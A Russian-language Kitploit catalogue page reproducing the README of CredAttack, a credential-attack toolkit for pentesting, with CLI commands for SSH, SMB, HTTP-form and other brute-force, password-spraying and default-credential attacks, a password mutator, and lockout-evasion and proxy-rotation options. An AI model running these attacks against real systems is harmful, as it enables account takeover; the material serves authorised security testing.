Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
credential-attacks-toolkit — Полный набор инструментов для атак на учётные данные при авторизованном тестировании безопасности — SSH, FTP, веб-логин, брутфорс, атаки по словарю | Kitploit
Инструменты/GitHubGitHub/amibhai/credential-attacks-toolkit
РазведкаАтаки на ПаролиТестирование на ПроникновениеRed Teaming
GitHubamibhai/credential-attacks-toolkit

credential-attacks-toolkit

Полный набор инструментов для атак на учётные данные при авторизованном тестировании безопасности — SSH, FTP, веб-логин, брутфорс, атаки по словарю

Репозиторий

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
1925 дней назадЕщё не проверено

CredAttack — Набор инструментов для атак на учётные данные

Release Python Protocols Tests License

⚠️ ПРАВОВОЕ УВЕДОМЛЕНИЕ — ТОЛЬКО авторизованное тестирование безопасности.
Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, является незаконным в соответствии с Computer Fraud and Abuse Act (США), Computer Misuse Act (Великобритания) и аналогичными законами по всему миру. См. SECURITY.md.


Содержание

  • Что такое CredAttack?
  • Режимы атак
  • Поддерживаемые протоколы
  • Архитектура
  • Быстрый старт
  • Установка
  • Справочник CLI
  • Движок мутации паролей
  • База данных учётных данных по умолчанию
  • Ротация прокси
  • HTML-отчёты
  • Конфигурация и переменные окружения
  • Docker
  • Тестирование
  • Структура проекта
  • Участие в разработке

Что такое CredAttack?

CredAttack — это модульный, готовый к продакшену набор для тестирования учётных данных, предназначенный для авторизованных пентестов. Он охватывает полный жизненный цикл атаки на учётные данные:

ФазаВозможность CredAttack

Режимы атак


Поддерживаемые протоколы


Архитектура

root@kitploit:~
credattack.py          ← тонкий переходник: `python credattack.py ...` из клонированного репозитория
│
├── credattack/cli.py   ← CLI (Typer) — 8 подкоманд режимов атак; также
│                          консольный скрипт `credattack` при установке через pip
├── credattack/core/
│   ├── config.py      ← Pydantic v2 Settings, переопределение через переменные окружения CREDATTACK_*
│   ├── engine.py      ← AttackEngine (ThreadPoolExecutor + Rich progress UI)
│   ├── lockout.py     ← LockoutDetector (скользящее окно, потокобезопасный)
│   ├── proxy.py       ← ProxyRotator (round-robin, проверка работоспособности, понижение)
│   ├── mutator.py     ← PasswordMutator (leet, сезонные, суффиксы, клавиатурный обход…)
│   ├── result.py      ← Датклассы AttemptResult + SessionReport
│   ├── report.py      ← Генератор HTML-отчётов Jinja2
│   └── logger.py      ← Логирование Rich + запись журнала аудита JSONL
│
├── credattack/protocols/
│   └── *.py           ← 18 реализаций ProtocolAttacker
│
├── credattack/data/
│   ├── default_creds.json    ← 200+ реальных пар учётных данных по умолчанию
│   ├── smart_patterns.json   ← 140+ корпоративных шаблонов паролей
│   └── wordlists/            ← Списки паролей по умолчанию для каждого сервиса
│
└── tests/             ← 50+ тестов pytest (модульные + моки протоколов)

Быстрый старт

root@kitploit:~
# Клонирование и настройка
git clone https://github.com/amibhai/credential-attacks-toolkit.git
cd credential-attacks-toolkit
python -m venv .venv && source .venv/bin/activate   # Windows: .venv\Scripts\activate
pip install -r requirements.txt

# Проверка версии
python credattack.py --version

# Пробный запуск (без подключений — проверьте свои списки слов)
python credattack.py ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt --dry-run

# Реальная словарная атака SSH
python credattack.py ssh -t 192.168.1.100 -u admin -P /path/to/rockyou.txt

# Распыление пароля (с ограничением скорости, безопасно от блокировок)
python credattack.py spray -t 192.168.1.100 --protocol ssh -U users.txt -p "Summer2024!" --delay 30

# Умный режим — генерация шаблонов из имени пользователя + компании
python credattack.py smart -t 192.168.1.100 --protocol ssh -u john.doe --company ACME

# Перебор значений по умолчанию для сервиса
python credattack.py defaults -t 192.168.1.100 --protocol mysql

# Многоцелевая кампания
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

Установка

Вариант A — pip + virtualenv (рекомендуется)

root@kitploit:~
python -m venv .venv
source .venv/bin/activate        # Windows: .venv\Scripts\activate
pip install --upgrade pip
pip install -r requirements.txt

Вариант B — сокращения Makefile

root@kitploit:~
make install      # основные зависимости
make install-dev  # + pytest-cov, ruff, mypy

Вариант C — установка через pip (редактируемая или из колеса)

root@kitploit:~
pip install -e .          # только основные зависимости
pip install -e .[full]    # + SMB/RDP/MySQL/MSSQL/Redis/MongoDB/WinRM/LDAP
pip install -e .[dev]     # + pytest/ruff/mypy

credattack --version      # консольный скрипт, эквивалент `python credattack.py`

Вариант D — Docker

root@kitploit:~
docker build -t credattack -f docker/Dockerfile .
docker run --rm credattack --help

# Подключите свои списки слов и соберите вывод
docker run --rm \
  -v $(pwd)/wordlists:/app/wordlists:ro \
  -v $(pwd)/output:/app/output \
  credattack ssh -t 192.168.1.100 -u admin -P wordlists/common_passwords.txt

Справочник CLI

Глобальные параметры

root@kitploit:~
python credattack.py [OPTIONS] COMMAND [ARGS]...

Options:
  -V, --version    Показать версию и выйти.
  --help           Показать справку.

Общие флаги (доступны во всех командах протоколов)

Подкоманды

root@kitploit:~
# Специфичные для протокола (каждая сопоставлена с отдельным атакующим модулем)
python credattack.py ssh|ftp|smb|rdp|smtp|pop3|imap|mysql|mssql|redis|mongodb|winrm|ldap|telnet|vnc \
  -t HOST -u USER -P passes.txt

# HTTP (form / basic / digest)
python credattack.py http -t http://target/login --mode form \
  --form-user-field username --form-pass-field password --success-string "Dashboard"

# Распыление — один пароль, много пользователей, длинная задержка
python credattack.py spray -t HOST --protocol ssh -U users.txt -p "Password1" --delay 30

# Комбинированный — декартово произведение пользователей × паролей
python credattack.py combo -t HOST --protocol smb -U users.txt -P passes.txt

# Умный — генерация на основе OSINT
python credattack.py smart -t HOST --protocol ssh -u firstname.lastname --company TargetCorp

# По умолчанию — перебор учётных данных вендора по умолчанию
python credattack.py defaults -t HOST --protocol mysql

# Многоцелевой — одна и та же атака по нескольким хостам
python credattack.py multi --targets hosts.txt --protocol ssh -U users.txt -P passes.txt

# Полный — все протоколы последовательно
python credattack.py full -t HOST -U users.txt -P passes.txt

Движок мутации паролей

PasswordMutator в credattack/core/mutator.py поддерживает комбинируемые стратегии:

root@kitploit:~
from credattack.core.mutator import PasswordMutator

m = PasswordMutator(max_mutations=5000)

# Все стратегии вместе
for pw in m.smart_generate("john.doe", company="ACME"):
    print(pw)

# Только сезонные шаблоны
for pw in m.seasonal_patterns(company="Contoso"):
    print(pw)

База данных учётных данных по умолчанию

credattack/data/default_creds.json содержит 200+ реальных пар учётных данных по умолчанию для:

Cisco · F5 · Juniper · Palo Alto · VMware · Jenkins · GitLab · Tomcat · WordPress · MySQL · MSSQL · Redis · MongoDB · PostgreSQL · Elasticsearch · RabbitMQ · Splunk · Nagios · Zabbix · pfSense · MikroTik · Huawei · HP iLO · Dell iDRAC · IPMI

root@kitploit:~
# Просмотр всех значений по умолчанию для сервиса
python credattack.py defaults -t HOST --protocol mysql --dry-run

# Запуск против цели
python credattack.py defaults -t 10.0.0.1 --protocol ssh

Ротация прокси

Передайте файл прокси (по одному прокси в строке, формат host:port):

root@kitploit:~
# proxies.txt
192.168.1.10:1080
192.168.1.11:1080
socks5://10.0.0.5:9050
root@kitploit:~
python credattack.py ssh -t TARGET -u admin -P passes.txt --proxy-file proxies.txt

ProxyRotator выполняет проверки работоспособности при запуске и понижает прокси, превышающие порог частоты ошибок. Мёртвые прокси автоматически исключаются.


HTML-отчёты

После каждой атаки (не в режиме dry-run) автоматически генерируется HTML-отчёт в ./output/:

  • Карточки статистики: общее количество попыток, процент успеха, длительность, попыток/сек
  • Таблица найденных учётных данных: хост · протокол · имя пользователя · пароль (копирование в буфер обмена)
  • Шаблон Jinja2 с тёмной темой
root@kitploit:~
# Открыть после запуска
start output/report_*.html      # Windows
open  output/report_*.html      # macOS

Конфигурация и переменные окружения

Все настройки в credattack/core/config.py можно переопределить через переменные окружения CREDATTACK_*:

root@kitploit:~
export CREDATTACK_THREADS=20
export CREDATTACK_TIMEOUT=3.0
export CREDATTACK_DELAY=1.0
export CREDATTACK_JITTER=0.5
export CREDATTACK_LOCKOUT_THRESHOLD=3
export CREDATTACK_VERBOSITY=2

Или на уровне CLI со стандартными флагами (--threads, --timeout и т. д.).


Docker

root@kitploit:~
# Сборка образа
docker build -t credattack -f docker/Dockerfile .

# Запуск с Docker Compose
cd docker
docker compose run credattack ssh -t 192.168.1.100 -u admin -P /app/wordlists/common_passwords.txt

# Настройка через переменные окружения
docker run --rm \
  -e CREDATTACK_THREADS=20 \
  -e CREDATTACK_TIMEOUT=3 \
  -v $(pwd)/output:/app/output \
  credattack defaults -t 10.0.0.1 --protocol mysql

Тестирование

root@kitploit:~
# Запуск всех тестов
pytest -q

# С покрытием
pytest --cov=credattack --cov-report=term-missing -q

# Сокращение Makefile
make test-cov

Текущий набор: 50+ тестов, охватывающих:


Списки слов

⚠️ Встроенные файлы wordlists/ — это минимальные заглушки для проверки работоспособности. Для реальных оценок используйте собственные.

Рекомендуемые источники

root@kitploit:~
# Использование любого внешнего списка слов
python credattack.py ssh -t TARGET -u admin -P /opt/wordlists/rockyou.txt

Структура проекта

root@kitploit:~
credential-attacks-toolkit/
├── credattack.py               # Тонкий переходник -> credattack.cli:app (использование из исходников)
├── pyproject.toml              # Сборка PEP 517/518 и конфигурация инструментов
├── requirements.txt            # Зависимости времени выполнения
├── Makefile                    # Сокращения для разработчиков
├── VERSION                     # Единый источник версии
├── CHANGELOG.md
├── SECURITY.md
├── .github/
│   └── workflows/ci.yml        # GitHub Actions: lint + матрица тестов + mypy
├── docker/
│   ├── Dockerfile
│   └── docker-compose.yml
├── credattack/
│   ├── cli.py                  # CLI (Typer) — упакованный, поддерживает консольный скрипт
│   ├── core/
│   │   ├── config.py           # Pydantic v2 Settings
│   │   ├── engine.py           # AttackEngine (ThreadPoolExecutor)
│   │   ├── lockout.py          # LockoutDetector (скользящее окно)
│   │   ├── proxy.py            # ProxyRotator
│   │   ├── mutator.py          # PasswordMutator
│   │   ├── result.py           # AttemptResult, SessionReport
│   │   ├── report.py           # Генератор HTML-отчётов
│   │   └── logger.py           # Логгер Rich + запись JSONL
│   ├── protocols/              # 18 реализаций ProtocolAttacker
│   │   └── base.py             # Абстрактный ProtocolAttacker
│   └── data/
│       ├── default_creds.json  # 200+ значений по умолчанию от вендоров
│       ├── smart_patterns.json # 140+ корпоративных шаблонов
│       └── wordlists/          # Стартовые списки для каждого сервиса
├── attacks/                    # Автономные однофайловые инструменты (предшествуют credattack/;
│   └── *.py                    # сохранены для скриптов, ещё не перенесённых: взлом JWT,
│                                # обнаружение WAF, перечисление пользователей по времени)
├── utils/
│   └── credential_utils.py     # Общие помощники для скриптов attacks/
├── tests/
│   ├── conftest.py             # Общие фикстуры
│   ├── test_lockout.py
│   ├── test_mutator.py
│   ├── test_mutator_extended.py
│   ├── test_proxy.py
│   ├── test_result.py
│   ├── test_protocols_ssh.py
│   ├── test_protocols_ftp.py
│   └── test_protocols_http.py
├── wordlists/                  # Минимальные заглушки для проверки работоспособности
└── output/                     # Сгенерированные журналы и отчёты (в git-игноре)

Показатели успешности атак (ориентировочные)


Участие в разработке

См. CONTRIBUTING.md.
Пожалуйста, открывайте issue перед отправкой крупных PR.
Все contributions должны соответствовать политике этичного использования в SECURITY.md.


Используйте ответственно. Тестируйте этично. Оставайтесь в рамках закона.

Скачать инструмент
Разведка
База учётных данных по умолчанию (200+ пар), умная генерация шаблонов на основе имени пользователя
Атака17 протокольных атакующих модулей, 6 режимов атак, кампании по нескольким целям
УклонениеОбнаружение блокировок, настраиваемое ограничение скорости, джиттер, ротация прокси
ОтчётностьЖурнал аудита JSONL, HTML-отчёт Jinja2, баннер найденных учётных данных + выгрузка в файл
РежимКомандаОписание
Словарныйssh, ftp, smb, …Список слов против одного пользователя
РаспылениеsprayОдин пароль по списку пользователей (безопасно от блокировок)
КомбинированныйcomboКаждый пользователь × каждый пароль
УмныйsmartГенерация шаблонов на основе имени пользователя/компании
По умолчаниюdefaultsПеребор 200+ известных значений по умолчанию для сервисов
МногоцелевойmultiОдна и та же атака по списку хостов
Полный конвейерfullВсе протоколы, один отчёт
#ПротоколМодульПорт по умолчаниюПримечания
1SSHssh.py22paramiko, аутентификация по ключу/паролю
2FTPftp.py21Активный и пассивный режимы
3HTTP Formhttp_form.py80/443Автоопределение CSRF-токена
4HTTP Basichttp_basic.py80RFC 7617
5HTTP Digesthttp_digest.py80RFC 7616
6SMBsmb.py445impacket, NTLM
7RDPrdp.py3389impacket NLA
8SMTPsmtp.py587STARTTLS
9POP3pop3.py110Поддержка APOP
10IMAPimap.py143STARTTLS
11MySQLmysql.py3306mysql-connector-python
12MSSQLmssql.py1433pymssql
13Redisredis_proto.py6379Команда AUTH
14MongoDBmongodb.py27017pymongo
15WinRMwinrm.py5985NTLM, pywinrm
16LDAPldap_proto.py389ldap3, автоопределение rootDSE
17Telnettelnet.py23Сырой TCP
18VNCvnc.py5900Сырой DES challenge-response
ФлагКороткийПо умолчаниюОписание
--target-t—Целевой хост / IP
--port0 (по умолчанию протокола)Переопределить TCP-порт
--username-u—Одно имя пользователя
--user-file-U—Файл с именами пользователей (по одному в строке)
--pass-file-P—Файл с паролями (по одному в строке)
--password-p2—Один пароль
--threads-n10Параллельные рабочие потоки
--timeout-T5.0Таймаут на попытку (с)
--delay-d0.0Фиксированная задержка между попытками (с)
--jitter0.0Максимальный случайный джиттер (с)
--stop-on-firstTrueОстановить для пользователя после первого успеха
--proxy-fileNoneСписок прокси HTTP/SOCKS5
--output-dir-o./outputКаталог результатов
--verbosity-v1Уровень логирования (0-3)
--dry-runFalseПодсчёт пар без подключения
СтратегияМетодПример вывода
Leet-говорleet_speak(word)p@ssw0rd, p455w0rd
Регистрcapitalise_variants(word)PASSWORD, Password, pAsSwOrD
Суффиксsuffix_append(word)password123, password@2025
Префиксprefix_append(word)!password, mypassword
Клавиатурный обходkeyboard_walk(word)qassword (a→q)
Шаблоны имён пользователейusername_patterns(user, company)john123, Doe1!, ACME2024!
Сезонные (v1.1)seasonal_patterns(company)Summer2024!, Winter25
Обёртка спецсимволами (v1.1)special_char_wrap(word)!@Password, Password!@
Комбинированиеcombine(word, strategies)объединяет любые из вышеперечисленных
Умный (всё-в-одном)smart_generate(user, company)дедуплицированный, ограниченный поток
ОбластьТесты
Детектор блокировок (скользящее окно, потокобезопасность)test_lockout.py
Стратегии мутатора паролейtest_mutator.py
Новые стратегии мутатора (сезонные, спецсимволы)test_mutator_extended.py
Ротатор прокси (проверка работоспособности, понижение)test_proxy.py
Датклассы Result и SessionReporttest_result.py
Мок протокола SSHtest_protocols_ssh.py
Мок протокола FTPtest_protocols_ftp.py
Моки HTTP Basic и Digesttest_protocols_http.py
Список словРазмерЛучше всего подходит для
rockyou.txt~14 MОбщий словарь
SecLists/Passwords/РазличныйСпецифичный для протокола
kaonashi.txt~64 MРасширенное покрытие
На основе OSINTПеременныйЦелевые атаки
Тип пароляСловарныйУмный режимРаспыление (распространённые)
4 символа~90%~95%~60%
6 символов~65%~75%~25%
8 символов смешанные~15%~25%~5%
10+ символов сложные<5%<5%<1%